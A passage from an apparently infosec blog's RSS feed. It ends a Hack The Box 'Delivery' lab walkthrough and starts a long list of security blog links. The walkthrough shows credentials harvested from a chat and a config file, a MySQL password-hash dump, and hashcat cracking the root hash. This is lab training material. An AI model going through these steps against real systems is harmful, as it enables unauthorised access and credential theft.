								&lt;span class=&quot;c&quot;&gt;&amp;lt;!--[--&amp;gt;&lt;/span&gt;For an account check out our &lt;span class=&quot;nt&quot;&gt;&amp;lt;a&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;href=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://helpdesk.delivery.htb&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;helpdesk&lt;span class=&quot;nt&quot;&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;&amp;lt;!--]--&amp;gt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Add this to the &lt;em&gt;/etc/hosts&lt;/em&gt; file and then navigate to &lt;em&gt;helpdesk.delivery.htb&lt;/em&gt; in the browser. On this new site I see what appears to be some sort of IT Help Desk support portal. If I create a new ticket (I can do this without a pre-existing account), I get a confirmation which has both an email address and a ticket number.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;evil,

You may check the status of your ticket, by navigating to the Check Status page using ticket id: 1497526.

If you want to add more information to your ticket, just email 1497526@delivery.htb.

Thanks,

Support Team
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;user&quot;&gt;User&lt;/h1&gt;

&lt;p&gt;I can monitor the status of the previously created ticket within the portal by using the email address and ticket number provided to me in the confirmation. I’ll keep the window open that has this status information available.&lt;/p&gt;

&lt;p&gt;Back on the main &lt;em&gt;delivery.htb&lt;/em&gt; site, there is a link to a different portal “&lt;a href=&quot;https://mattermost.com&quot;&gt;Mattermost&lt;/a&gt;” (listening on port 8065). Using &lt;em&gt;Mattermost&lt;/em&gt;, I can register for an account using the email I received when I opened the ticket (the &lt;em&gt;id#&lt;/em&gt;@delivery.htb) as well as a username and password of my choosing. Once done, the confirmation email will be sent to the ticket I created earlier as a status update. I can simply refresh the status of that ticket and I will see a confirmation link like the one shown below.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;http://delivery.htb:8065/do_verify_email?token=ixpiw4m8euet9gm96xs8ab86y1r4xxpw5ftwt5gjy6d4issi3ras9mgyrue1biig&amp;amp;email=1497526%40delivery.htb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Clicking on this link I am presented with a very revealing chat history. In this chat I see not only &lt;em&gt;SSH&lt;/em&gt; credentials for a user account named &lt;em&gt;maildeliverer&lt;/em&gt; but I also see a hint about another password. This tip describes &lt;em&gt;&lt;a href=&quot;https://hashcat.net/hashcat/&quot;&gt;hashcat&lt;/a&gt;&lt;/em&gt; rules which may assist in cracking the hashed password. This gives us an idea of what to look for as we go for &lt;em&gt;root&lt;/em&gt; on the box.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;System
9:25 AM

@root joined the team.
System
9:28 AM
@root updated the channel display name from: Town Square to: Internal
root
9:29 AM

@developers Please update theme to the OSTicket before we go live.  Credentials to the server are maildeliverer:Youve_G0t_Mail!

Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of &quot;PleaseSubscribe!&quot;
root
10:58 AM

PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s try using the &lt;em&gt;SSH&lt;/em&gt; creds from the chat…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;└─$ ssh maildeliverer@10.10.10.222                                                                                                            130 ⨯ 1 ⚙
maildeliverer@10.10.10.222&apos;s password:
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan  5 06:09:50 2021 from 10.10.14.5
maildeliverer@Delivery:~$
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Bingo&lt;/em&gt;! User.&lt;/p&gt;

&lt;h1 id=&quot;root&quot;&gt;Root&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Alright&lt;/em&gt;, now as &lt;em&gt;maildeliverer&lt;/em&gt;, let’s take a look around the file system. I got in through the &lt;em&gt;Mattermost&lt;/em&gt; app so it makes sense to see what else this app has to offer on the local system. I find a number of “mattermost” related directories (as shown below).&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;maildeliverer@Delivery:~$ find / -name mattermost 2&amp;gt;/dev/null
/opt/mattermost
/opt/mattermost/bin/mattermost
/var/lib/mysql/mattermost
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Inside &lt;em&gt;/opt/mattermost&lt;/em&gt; i find a config file which reveals some &lt;em&gt;mysql&lt;/em&gt; credentials.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;SqlSettings&quot;: {
        &quot;DriverName&quot;: &quot;mysql&quot;,
        &quot;DataSource&quot;: &quot;mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s&quot;,
        &quot;DataSourceReplicas&quot;: [],
        &quot;DataSourceSearchReplicas&quot;: [],
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I can then use these &lt;em&gt;mysql&lt;/em&gt; creds to jump into the mysql instance. Inside, I see a &lt;em&gt;mattermost&lt;/em&gt; database with a “Users” table. Dumping this table I get some usernames &lt;em&gt;and&lt;/em&gt;… password hashes!&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;maildeliverer@Delivery:/opt/mattermost/config$ mysql -h localhost -u mmuser -pCrack_The_MM_Admin_PW
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 210
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type &apos;help;&apos; or &apos;\h&apos; for help. Type &apos;\c&apos; to clear the current input statement.

MariaDB [(none)]&amp;gt; show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mattermost         |
+--------------------+
2 rows in set (0.000 sec)

MariaDB [(none)]&amp;gt; use mattermost;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mattermost]&amp;gt; show tables;
+------------------------+
| Tables_in_mattermost   |
+------------------------+
| Audits                 |
| Bots                   |
| ChannelMemberHistory   |
| ChannelMembers         |
| Channels               |
| ClusterDiscovery       |
| CommandWebhooks        |
| Commands               |
| Compliances            |
| Emoji                  |
| FileInfo               |
| GroupChannels          |
| GroupMembers           |
| GroupTeams             |
| IncomingWebhooks       |
| Jobs                   |
| Licenses               |
| LinkMetadata           |
| OAuthAccessData        |
| OAuthApps              |
| OAuthAuthData          |
| OutgoingWebhooks       |
| PluginKeyValueStore    |
| Posts                  |
| Preferences            |
| ProductNoticeViewState |
| PublicChannels         |
| Reactions              |
| Roles                  |
| Schemes                |
| Sessions               |
| SidebarCategories      |
| SidebarChannels        |
| Status                 |
| Systems                |
| TeamMembers            |
| Teams                  |
| TermsOfService         |
| ThreadMemberships      |
| Threads                |
| Tokens                 |
| UploadSessions         |
| UserAccessTokens       |
| UserGroups             |
| UserTermsOfService     |
| Users                  |
+------------------------+
46 rows in set (0.001 sec)

MariaDB [mattermost]&amp;gt; select Username,Password from Users;
+----------------------------------+--------------------------------------------------------------+
| Username                         | Password                                                     |
+----------------------------------+--------------------------------------------------------------+
| evil                             | $2a$10$QXvgO259JKkTSXYQvSLk7ue3InvrsxM5wPVuT5ywrjHDM1XG.9Ary |
| surveybot                        |                                                              |
| c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK |
| 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G |
| root                             | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO |
| ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq |
| channelexport                    |                                                              |
| 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm |
+----------------------------------+--------------------------------------------------------------+
8 rows in set (0.000 sec)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the password variant hint and the earlier mention of “hashcat” as a guide, I create a password list using the &lt;em&gt;best64.rule&lt;/em&gt; &lt;em&gt;haschat&lt;/em&gt; &lt;em&gt;.rule&lt;/em&gt; file.&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;hashcat &lt;span class=&quot;nt&quot;&gt;-r&lt;/span&gt; /usr/share/hashcat/rules/best64.rule &lt;span class=&quot;nt&quot;&gt;--stdout&lt;/span&gt; clue &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; password.txt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I now run &lt;em&gt;hashcat&lt;/em&gt; against the &lt;em&gt;root&lt;/em&gt; hash pulled from &lt;em&gt;mysql&lt;/em&gt; with the newly generated wordlist and a few seconds later…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
┌──(kali㉿kali)-[/tmp]
└─$ hashcat -m 3200 hash password.txt                                           
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-4870HQ CPU @ 2.50GHz, 1407/1471 MB (512 MB allocatable), 4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 65 MB

Dictionary cache built:
* Filename..: password.txt
* Passwords.: 77
* Bytes.....: 1177
* Keyspace..: 77
* Runtime...: 0 secs

$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO:PleaseSubscribe!21

Session..........: hashcat
Status...........: Cracked
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v...JwgjjO
Time.Started.....: Tue Jan 26 17:12:02 2021 (0 secs)
Time.Estimated...: Tue Jan 26 17:12:02 2021 (0 secs)
Guess.Base.......: File (password.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:       55 H/s (8.82ms) @ Accel:8 Loops:16 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 32/77 (41.56%)
Rejected.........: 0/32 (0.00%)
Restore.Point....: 0/77 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:1008-1024
Candidates.#1....: PleaseSubscribe! -&amp;gt; PleaseSubscribs

Started: Tue Jan 26 17:12:00 2021
Stopped: Tue Jan 26 17:12:04 2021

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Root&lt;/strong&gt;!&lt;/p&gt;
</description>
        <pubDate>Fri, 22 Jan 2021 09:50:00 -0500</pubDate>
        <link>https://shellsharks.com/htb-delivery</link>
        <guid isPermaLink="true">https://shellsharks.com/htb-delivery</guid>
        
        <category>hackthebox</category>
        
        <category>pentesting</category>
        
        <category>appsec</category>
        
        <category>infosec</category>
        
        <category>network</category>
        
        <category>red</category>
        
        <category>kali</category>
        
        <category>nmap</category>
        
        <category>technical</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Infosec Blogs: Our Cup Runneth Over</title>
        <shark:summary><p>I was inspired by <a href="https://mobile.twitter.com/j_opdenakker/status/1348764388380053511">this tweet</a> to compile a <em>master-list</em> of infosec-related blogs. Of course I knew this would turn up quite a few results but I’ve really been amazed by how much is out there! Infosec blogs of all shapes and sizes are out there in the wild and I want to find ‘em all. Will try to keep this up-to-date as I run across new sites. I’ve split it into blogs from “individuals” versus those run by larger commercial organizations. If i’m missing one you know of, or it’s your blog that is missing, please <a href="https://shellsharks.com/contact">contact me</a>!</p>
</shark:summary>
        <description>&lt;p&gt;I was inspired by &lt;a href=&quot;https://mobile.twitter.com/j_opdenakker/status/1348764388380053511&quot;&gt;this tweet&lt;/a&gt; to compile a &lt;em&gt;master-list&lt;/em&gt; of infosec-related blogs. Of course I knew this would turn up quite a few results but I’ve really been amazed by how much is out there! Infosec blogs of all shapes and sizes are out there in the wild and I want to find ‘em all. Will try to keep this up-to-date as I run across new sites. I’ve split it into blogs from “individuals” versus those run by larger commercial organizations. If i’m missing one you know of, or it’s your blog that is missing, please &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;contact me&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;For anyone interested, I’ve made available my &lt;a href=&quot;https://github.com/shellsharks/assorted/blob/master/resources/shellsharks-feedly-rss.opml&quot;&gt;exported .opml file&lt;/a&gt; (&lt;em&gt;last exported: November 8, 2023&lt;/em&gt;) with the sources listed below. You can import this into the &lt;a href=&quot;https://shellsharks.com/an-ode-to-rss#how-to-rss&quot;&gt;RSS reader&lt;/a&gt; of your choice! Personally, I use &lt;a href=&quot;https://feedly.com&quot;&gt;Feedly&lt;/a&gt; and can highly recommend the service. (I will try to update this export semi-regularly).&lt;/p&gt;

&lt;p&gt;- &lt;a href=&quot;#boutique-security-blogs&quot;&gt;Boutique Security Blogs&lt;/a&gt;&lt;br /&gt;
- &lt;a href=&quot;#commercial-blogs&quot;&gt;Commercial Blogs&lt;/a&gt;&lt;br /&gt;
- &lt;a href=&quot;#writeup-blogs&quot;&gt;Writeup Blogs&lt;/a&gt;&lt;br /&gt;
- &lt;a href=&quot;#aggro-sites&quot;&gt;Aggro Sites&lt;/a&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;p style=&quot;font-size:.8em;&quot;&gt;Search is not overly optimized, may be a little jittery...&lt;/p&gt;
&lt;p&gt;&lt;input type=&quot;text&quot; id=&quot;filter&quot; onkeyup=&quot;search()&quot; placeholder=&quot;Filter Blogs...&quot; title=&quot;Filter blogs&quot; class=&quot;secondarybg borderprimary fontcolor&quot; style=&quot;border-style: solid; border-width: 3px; border-radius:0px 10px 0px 10px; padding: 0px 5px 0px 5px;&quot; /&gt; &lt;span id=&quot;count&quot;&gt;Total: &lt;/span&gt;&lt;/p&gt;

&lt;h1 id=&quot;boutique-security-blogs&quot;&gt;Boutique Security Blogs&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://s1gh.sh&quot;&gt;./s1gh.sh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.shellntel.com&quot;&gt;#_shellintel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://d3vnull.com&quot;&gt;/dev/null&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.rootshell.be&quot;&gt;/dev/random&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://poc-server.com/blog/&quot;&gt;003Random’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0day.work&quot;&gt;0DAY&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kienmanowar.wordpress.com&quot;&gt;0DAY IN {REA_TEAM}&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0day.click&quot;&gt;0day.click&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0reg.dev/blog&quot;&gt;0reg&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.0x1c.zip&quot;&gt;0x1c&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x36.github.io&quot;&gt;0x36&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.0x7d0.dev&quot;&gt;0x7D0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xacb.com&quot;&gt;0xacb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xash.io&quot;&gt;0xash&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xblockz.xyz/blog/&quot;&gt;0xblockz&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xbro.red&quot;&gt;0xbro&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xdbgman.github.io/&quot;&gt;0xDbgMan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xdeadbeef.info&quot;&gt;0xdeadbeef.info&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xdeadbeefjerky.com&quot;&gt;0xdeadbeefJERKY Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://deadcode.me&quot;&gt;0xDEADCODE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xdeaddood.rocks/blog/&quot;&gt;0xdeaddood&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xdstn.site/writing/&quot;&gt;0xdstn&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ivanvza.github.io/posts/&quot;&gt;0xIvan&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xjams.com/blog/&quot;&gt;0xjams&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xpat.github.io&quot;&gt;0xPat blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.0patch.com&quot;&gt;0patch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x00sec.org/latest&quot;&gt;0x00sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.0x01team.com&quot;&gt;0x01 Team&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x41.cf&quot;&gt;0x41.cf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abiondo.me&quot;&gt;0x41414141 in ?? ()&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x44.cc&quot;&gt;0x44.cc&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.0x74696d.com&quot;&gt;0X74696D&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0x90r00t.com&quot;&gt;0x90r00t&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bierbaumer.net/projects/&quot;&gt;0xbb&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xd4y.com&quot;&gt;0xd4y&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xdf.gitlab.io&quot;&gt;0xdf hacks stuff&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xdln.ml&quot;&gt;0xdln&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xedward.io&quot;&gt;0xEdward&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xf00sec.github.io&quot;&gt;0xf00sec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://neil-fox.github.io&quot;&gt;0xf0x&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.0xffff.info&quot;&gt;0XFFFF&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.0xhuesca.com&quot;&gt;0xhuesca&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xinfection.github.io&quot;&gt;0xinfection’s security ramblings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xkasper.com&quot;&gt;0xkasper&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.0xkato.xyz/CVE-2026-1678-DNS-Parser-Overflow-in-Zephyr/&quot;&gt;0xkato&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xninja.fr/posts/&quot;&gt;0xNinja&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.0xrepairman.com/landing/&quot;&gt;0xR3p41rm4n’s Cybersecurity Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xreverse.com/?source=top_nav_blog_home&quot;&gt;0xReverse&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xrick.github.io&quot;&gt;0xRick’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.0xrishabh.dev&quot;&gt;0xrishabh&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mirror.xyz/0xsaiyangod.eth&quot;&gt;0xSaiyanGod.eth&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xsha.io&quot;&gt;0xsha.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://0xsp.com/xposts&quot;&gt;0xsp&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xstarlight.github.io&quot;&gt;0xStarlight&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://steve-s.gitbook.io/0xtriboulet/&quot;&gt;0xTriboulet&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://kienmanowar.wordpress.com&quot;&gt;0DAY IN {REA_TEAM}&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0ut3r.space&quot;&gt;0ut3r Space&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://zer1t0.gitlab.io/posts/&quot;&gt;1 t0 Zero&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.1024megas.com&quot;&gt;1024MEGAS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://10degres.net/posts/&quot;&gt;10DEGRES&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.1234n6.com&quot;&gt;1234n6&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://carstein.github.io&quot;&gt;128nops and counting&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://mem2019.github.io&quot;&gt;2019’s blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://2codemonte.wordpress.com/category/blogs/&quot;&gt;2CODEMONTE&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://32x33.institute&quot;&gt;32x33&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://0xjet.github.io/3OHA.html&quot;&gt;3OHA&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://3xpl01tc0d3r.blogspot.com&quot;&gt;3xpl01tc0d3r&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://3xp0rt.com&quot;&gt;3xp0rt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://malfunctioning.website&quot;&gt;404 Security Not Found&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://4pfsec.com&quot;&gt;4pfsec&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://lambdacalculus37.github.io&quot;&gt;The 500 Hats of LambdaCalculus&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://5alt.me&quot;&gt;5alt’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://5pider.net/blog&quot;&gt;5pider.net&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.78researchlab.com&quot;&gt;78ResearchLab&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://8051enthusiast.github.io&quot;&gt;8051enthusiast&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://artemonsecurity.blogspot.com&quot;&gt;A blog about rootkits research and the Windows kernel&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.cryptographyengineering.com&quot;&gt;A Few Thoughts on Cryptographic Engineering&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://anatomic.rip&quot;&gt;a place of anatomical precision&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://pokeinthe.io&quot;&gt;a real poke in the eye… oh…&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://a2nkf.github.io&quot;&gt;A2nkF’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.andrea-allievi.com&quot;&gt;AaLI86 Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.aalsuwaidi.com/posts/&quot;&gt;aalsuwaidi&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aaronschlitt.de&quot;&gt;Aaron Schlitt&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aaronesau.com/blog/&quot;&gt;Aaron’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://eln0ty.github.io&quot;&gt;Abdallah Elnoty&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://halove23.blogspot.com&quot;&gt;Abdelhamid Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abdilahrf.github.io&quot;&gt;Abdillah Muhamad&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.abdulrah33m.com&quot;&gt;Abdulrah33m’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://amakki.me&quot;&gt;Abdulrahman Makki&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ahussam.me/&quot;&gt;Abdullah Hussam&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://stuxnet999.github.io&quot;&gt;Abhiram’s Blog&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://aboullaite.me&quot;&gt;Aboullaite Med&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://abss.me&quot;&gt;Abss&lt;/a&gt;&lt;/li&gt;
